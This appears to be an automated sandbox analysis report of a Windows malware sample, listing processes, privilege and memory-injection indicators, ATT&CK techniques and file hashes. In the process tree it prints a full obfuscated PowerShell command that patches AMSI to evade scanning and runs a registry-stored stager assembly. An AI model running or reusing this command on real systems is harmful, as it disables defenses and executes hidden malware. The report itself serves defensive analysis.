pid Process 796 Process not Found 4940 Process not Found 1756 Process not Found 3836 Process not Found 432 Process not Found 1564 Process not Found 3640 Process not Found 2280 Process not Found 1340 Process not Found 2900 Process not Found 4052 Process not Found 764 Process not Found 4468 Process not Found 1320 Process not Found 5036 Process not Found 3928 Process not Found 4372 Process not Found 436 Process not Found 2524 Process not Found 2460 Process not Found 2436 Process not Found 1900 Process not Found 4492 Process not Found 4988 Process not Found 2376 Process not Found 784 Process not Found 4192 Process not Found 736 Process not Found 1984 Process not Found 3132 Process not Found 4616 Process not Found 3448 Process not Found 2760 Process not Found 848 Process not Found 860 Process not Found 3924 Process not Found 1952 Process not Found 2016 Process not Found 2336 Process not Found 636 Process not Found 4200 Process not Found 3668 Process not Found 2708 Process not Found 4000 Process not Found 1192 Process not Found 3692 Process not Found 3828 Process not Found 1976 Process not Found 4800 Process not Found 2468 Process not Found 5052 Process not Found 3356 Process not Found 2008 Process not Found 4124 Process not Found 2372 Process not Found 3728 Process not Found 2352 Process not Found 920 Process not Found 2000 Process not Found 1868 Process not Found 3520 Process not Found 2412 Process not Found 4628 Process not Found 1804 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1320 powershell.EXE Token: SeDebugPrivilege 1320 powershell.EXE Token: SeDebugPrivilege 3808 dllhost.exe Token: SeAuditPrivilege 2728 svchost.exe Token: SeShutdownPrivilege 3468 Explorer.EXE Token: SeCreatePagefilePrivilege 3468 Explorer.EXE Token: SeShutdownPrivilege 3468 Explorer.EXE Token: SeCreatePagefilePrivilege 3468 Explorer.EXE Token: SeShutdownPrivilege 4092 svchost.exe Token: SeCreatePagefilePrivilege 4092 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1908 svchost.exe Token: SeIncreaseQuotaPrivilege 1908 svchost.exe Token: SeSecurityPrivilege 1908 svchost.exe Token: SeTakeOwnershipPrivilege 1908 svchost.exe Token: SeLoadDriverPrivilege 1908 svchost.exe Token: SeBackupPrivilege 1908 svchost.exe Token: SeRestorePrivilege 1908 svchost.exe Token: SeShutdownPrivilege 1908 svchost.exe Token: SeSystemEnvironmentPrivilege 1908 svchost.exe Token: SeManageVolumePrivilege 1908 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1908 svchost.exe Token: SeIncreaseQuotaPrivilege 1908 svchost.exe Token: SeSecurityPrivilege 1908 svchost.exe Token: SeTakeOwnershipPrivilege 1908 svchost.exe Token: SeLoadDriverPrivilege 1908 svchost.exe Token: SeSystemtimePrivilege 1908 svchost.exe Token: SeBackupPrivilege 1908 svchost.exe Token: SeRestorePrivilege 1908 svchost.exe Token: SeShutdownPrivilege 1908 svchost.exe Token: SeSystemEnvironmentPrivilege 1908 svchost.exe Token: SeUndockPrivilege 1908 svchost.exe Token: SeManageVolumePrivilege 1908 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1908 svchost.exe Token: SeIncreaseQuotaPrivilege 1908 svchost.exe Token: SeSecurityPrivilege 1908 svchost.exe Token: SeTakeOwnershipPrivilege 1908 svchost.exe Token: SeLoadDriverPrivilege 1908 svchost.exe Token: SeSystemtimePrivilege 1908 svchost.exe Token: SeBackupPrivilege 1908 svchost.exe Token: SeRestorePrivilege 1908 svchost.exe Token: SeShutdownPrivilege 1908 svchost.exe Token: SeSystemEnvironmentPrivilege 1908 svchost.exe Token: SeUndockPrivilege 1908 svchost.exe Token: SeManageVolumePrivilege 1908 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1908 svchost.exe Token: SeIncreaseQuotaPrivilege 1908 svchost.exe Token: SeSecurityPrivilege 1908 svchost.exe Token: SeTakeOwnershipPrivilege 1908 svchost.exe Token: SeLoadDriverPrivilege 1908 svchost.exe Token: SeSystemtimePrivilege 1908 svchost.exe Token: SeBackupPrivilege 1908 svchost.exe Token: SeRestorePrivilege 1908 svchost.exe Token: SeShutdownPrivilege 1908 svchost.exe Token: SeSystemEnvironmentPrivilege 1908 svchost.exe Token: SeUndockPrivilege 1908 svchost.exe Token: SeManageVolumePrivilege 1908 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1908 svchost.exe Token: SeIncreaseQuotaPrivilege 1908 svchost.exe Token: SeSecurityPrivilege 1908 svchost.exe Token: SeTakeOwnershipPrivilege 1908 svchost.exe Token: SeLoadDriverPrivilege 1908 svchost.exe Token: SeSystemtimePrivilege 1908 svchost.exe Token: SeBackupPrivilege 1908 svchost.exe Token: SeRestorePrivilege 1908 svchost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1320 wrote to memory of 3808 1320 powershell.EXE 86 PID 1320 wrote to memory of 3808 1320 powershell.EXE 86 PID 1320 wrote to memory of 3808 1320 powershell.EXE 86 PID 1320 wrote to memory of 3808 1320 powershell.EXE 86 PID 1320 wrote to memory of 3808 1320 powershell.EXE 86 PID 1320 wrote to memory of 3808 1320 powershell.EXE 86 PID 1320 wrote to memory of 3808 1320 powershell.EXE 86 PID 1320 wrote to memory of 3808 1320 powershell.EXE 86 PID 3808 wrote to memory of 608 3808 dllhost.exe 5 PID 3808 wrote to memory of 672 3808 dllhost.exe 7 PID 3808 wrote to memory of 956 3808 dllhost.exe 12 PID 672 wrote to memory of 2712 672 lsass.exe 45 PID 3808 wrote to memory of 64 3808 dllhost.exe 13 PID 672 wrote to memory of 2712 672 lsass.exe 45 PID 672 wrote to memory of 2712 672 lsass.exe 45 PID 672 wrote to memory of 2712 672 lsass.exe 45 PID 3808 wrote to memory of 740 3808 dllhost.exe 14 PID 3808 wrote to memory of 1044 3808 dllhost.exe 16 PID 3808 wrote to memory of 1120 3808 dllhost.exe 17 PID 3808 wrote to memory of 1140 3808 dllhost.exe 18 PID 3808 wrote to memory of 1172 3808 dllhost.exe 19 PID 3808 wrote to memory of 1180 3808 dllhost.exe 20 PID 3808 wrote to memory of 1200 3808 dllhost.exe 21 PID 3808 wrote to memory of 1284 3808 dllhost.exe 22 PID 3808 wrote to memory of 1304 3808 dllhost.exe 23 PID 3808 wrote to memory of 1424 3808 dllhost.exe 24 PID 3808 wrote to memory of 1432 3808 dllhost.exe 25 PID 3808 wrote to memory of 1584 3808 dllhost.exe 26 PID 3808 wrote to memory of 1616 3808 dllhost.exe 27 PID 3808 wrote to memory of 1632 3808 dllhost.exe 28 PID 3808 wrote to memory of 1740 3808 dllhost.exe 29 PID 3808 wrote to memory of 1748 3808 dllhost.exe 30 PID 3808 wrote to memory of 1780 3808 dllhost.exe 31 PID 3808 wrote to memory of 1872 3808 dllhost.exe 32 PID 3808 wrote to memory of 2036 3808 dllhost.exe 33 PID 3808 wrote to memory of 2044 3808 dllhost.exe 34 PID 3808 wrote to memory of 1592 3808 dllhost.exe 35 PID 3808 wrote to memory of 1648 3808 dllhost.exe 36 PID 3808 wrote to memory of 1908 3808 dllhost.exe 37 PID 3808 wrote to memory of 2144 3808 dllhost.exe 38 PID 3808 wrote to memory of 2184 3808 dllhost.exe 40 PID 3808 wrote to memory of 2356 3808 dllhost.exe 41 PID 3808 wrote to memory of 2528 3808 dllhost.exe 42 PID 3808 wrote to memory of 2536 3808 dllhost.exe 43 PID 3808 wrote to memory of 2644 3808 dllhost.exe 44 PID 3808 wrote to memory of 2712 3808 dllhost.exe 45 PID 3808 wrote to memory of 2728 3808 dllhost.exe 46 PID 3808 wrote to memory of 2744 3808 dllhost.exe 47 PID 3808 wrote to memory of 2752 3808 dllhost.exe 48 PID 3808 wrote to memory of 2924 3808 dllhost.exe 49 PID 3808 wrote to memory of 2936 3808 dllhost.exe 50 PID 3808 wrote to memory of 3044 3808 dllhost.exe 51 PID 3808 wrote to memory of 2844 3808 dllhost.exe 52 PID 3808 wrote to memory of 528 3808 dllhost.exe 53 PID 3808 wrote to memory of 3360 3808 dllhost.exe 55 PID 3808 wrote to memory of 3468 3808 dllhost.exe 56 PID 3808 wrote to memory of 3580 3808 dllhost.exe 57 PID 3808 wrote to memory of 3776 3808 dllhost.exe 58 PID 3808 wrote to memory of 3936 3808 dllhost.exe 60 PID 3808 wrote to memory of 4152 3808 dllhost.exe 62 PID 3808 wrote to memory of 5060 3808 dllhost.exe 65 PID 3808 wrote to memory of 3508 3808 dllhost.exe 67 PID 3808 wrote to memory of 3380 3808 dllhost.exe 68 PID 3808 wrote to memory of 2028 3808 dllhost.exe 69 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:608
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:64
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{8330e848-73db-4f8e-be37-cf91d47f076c}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3808
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
PID:672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:956
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:740
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1044
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1120 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2844
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:czCAvtqtxBmA{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rSqlCuNZZaAEGL,[Parameter(Position=1)][Type]$SjmdDpRWoM)$stUtIWaZWfz=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+'f'+'l'+''+[Char](101)+''+[Char](99)+''+'t'+''+'e'+''+[Char](100)+''+[Char](68)+'e'+[Char](108)+'e'+'g'+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+'em'+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+'o'+[Char](100)+'ul'+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+'g'+'a'+[Char](116)+''+'e'+''+[Char](84)+'y'+'p'+''+[Char](101)+'','Cl'+[Char](97)+''+[Char](115)+'s'+','+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+'S'+[Char](101)+''+'a'+''+[Char](108)+''+[Char](101)+''+'d'+''+[Char](44)+'A'+[Char](110)+''+[Char](115)+''+[Char](105)+'Cl'+[Char](97)+''+'s'+'s'+','+'A'+[Char](117)+''+[Char](116)+''+[Char](111)+''+'C'+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$stUtIWaZWfz.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+''+'p'+''+[Char](101)+'c'+[Char](105)+''+'a'+'l'+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+''+','+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$rSqlCuNZZaAEGL).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+'Ma'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$stUtIWaZWfz.DefineMethod(''+'I'+''+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+'t'+','+''+'V'+''+'i'+''+'r'+'t'+[Char](117)+''+[Char](97)+''+'l'+'',$SjmdDpRWoM,$rSqlCuNZZaAEGL).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+'Mana'+[Char](103)+'ed');Write-Output $stUtIWaZWfz.CreateType();}$AaizHYOyYrHFa=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+'s'+[Char](116)+''+[Char](101)+'m.d'+'l'+''+'l'+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+'o'+[Char](115)+'of'+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+'2'+''+[Char](46)+'Un'+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+'N'+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+'e'+''+[Char](77)+''+'e'+''+'t'+''+[Char](104)+''+'o'+''+[Char](100)+''+'s'+'');$eqHsqruBrSiKFy=$AaizHYOyYrHFa.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+'c'+[Char](65)+'dd'+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+'S'+'ta'+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$hGOLEZOqeRrshiNyDkj=czCAvtqtxBmA @([String])([IntPtr]);$VraNvqSxbktqkLstGkjtXU=czCAvtqtxBmA @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$cYJveyRbOca=$AaizHYOyYrHFa.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+'Mo'+[Char](100)+''+[Char](117)+'l'+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+[Char](110)+''+[Char](101)+'l'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$iiAysVKEnlrofm=$eqHsqruBrSiKFy.Invoke($Null,@([Object]$cYJveyRbOca,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+[Char](100)+''+'L'+'ib'+[Char](114)+''+[Char](97)+''+[Char](114)+''+'y'+''+[Char](65)+'')));$gdTJQWhomnDlKdasr=$eqHsqruBrSiKFy.Invoke($Null,@([Object]$cYJveyRbOca,[Object]('Vi'+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+'o'+'t'+''+[Char](101)+''+'c'+'t')));$NiqvXna=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iiAysVKEnlrofm,$hGOLEZOqeRrshiNyDkj).Invoke(''+'a'+'m'+[Char](115)+''+[Char](105)+'.'+'d'+'l'+'l'+'');$eYLctbXjgfrHXJwZx=$eqHsqruBrSiKFy.Invoke($Null,@([Object]$NiqvXna,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+''+'n'+''+[Char](66)+'u'+[Char](102)+'fe'+'r'+'')));$XNIOZpuupG=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gdTJQWhomnDlKdasr,$VraNvqSxbktqkLstGkjtXU).Invoke($eYLctbXjgfrHXJwZx,[uint32]8,4,[ref]$XNIOZpuupG);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$eYLctbXjgfrHXJwZx,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gdTJQWhomnDlKdasr,$VraNvqSxbktqkLstGkjtXU).Invoke($eYLctbXjgfrHXJwZx,[uint32]8,0x20,[ref]$XNIOZpuupG);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+'F'+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('$'+'7'+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+'a'+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1320
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
PID:1140
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1172
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1180
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1200
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1284
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1424
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1432
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2936
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:5064
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:4656
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:4456
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2236
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2692
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2840
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1584
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1616
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1632
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1740
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1748
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1780
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1872
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2036
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:2044
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1592
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1648
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1908
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2144
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2184
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2356
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2528
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2536
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2644
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2712
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
PID:2728
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2744
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2924
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3044
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:528
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3360
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3468 -
C:\Users\Admin\AppData\Local\Temp\zvgfd-main\Install.exe"C:\Users\Admin\AppData\Local\Temp\zvgfd-main\Install.exe"2⤵PID:3028
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3580
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3776
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3936
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4152
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:5060
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:3508
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:3380
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2028
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:1544
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:2264
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3632
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:2984
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3076
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3412
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4624
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:4996
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe c396d802fde8a837549ef4d5d7038f53 HQutfai45UOmb0v2dBKXhA.0.1.0.0.01⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:4260 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:1224
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4092
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:3236
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:4984
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:228
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:2812
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
- Drops file in Windows directory
PID:4064
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Pre-OS Boot
1Bootkit
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
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Downloads
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\69C6F6EC64E114822DF688DC12CDD86C
Filesize246B
MD54532f402fd67c93b50b5b4244c5fd8af
SHA1ec034fa94b9b821ca330e59986014d2e83562c3b
SHA256c81fd61367f3c1a2b92c53336c8c5d0e3663ce56d4dffe1655c201f18f03efb5
SHA5126e15642ec369488812540059a1f986670e95a3b7f5b6c981a1e46b09281b82e2facfca0fbaa6bad2d2d9ab8a6b8d9114645e6154be28cfb940870e96223bbee1
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
Filesize404B
MD5046c403ac9bf884e044976e619e32c42
SHA1c5e648212401d8c4d9a8f324d1bf00508576ea0f
SHA2565ac0d54ff66c4f2b0a3376dc6d7145cb960fae166494edda83cb9c17f3afff44
SHA512d0c17aa9260d11d22f70d76d94a446ab8f85cf2b50a495a1c31f0ccd0a09bd2cab9729567f2b38a81a1bf5a6e877c8d303d635270bc6a2de985106bc4d33549c
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Filesize
2KB
MD58abf2d6067c6f3191a015f84aa9b6efe
SHA198f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA256ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
SHA512c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
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Filesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
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Filesize
2KB
MD5ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1a3879621f9493414d497ea6d70fbf17e283d5c08
SHA25698c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA5121eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
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Filesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
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Filesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
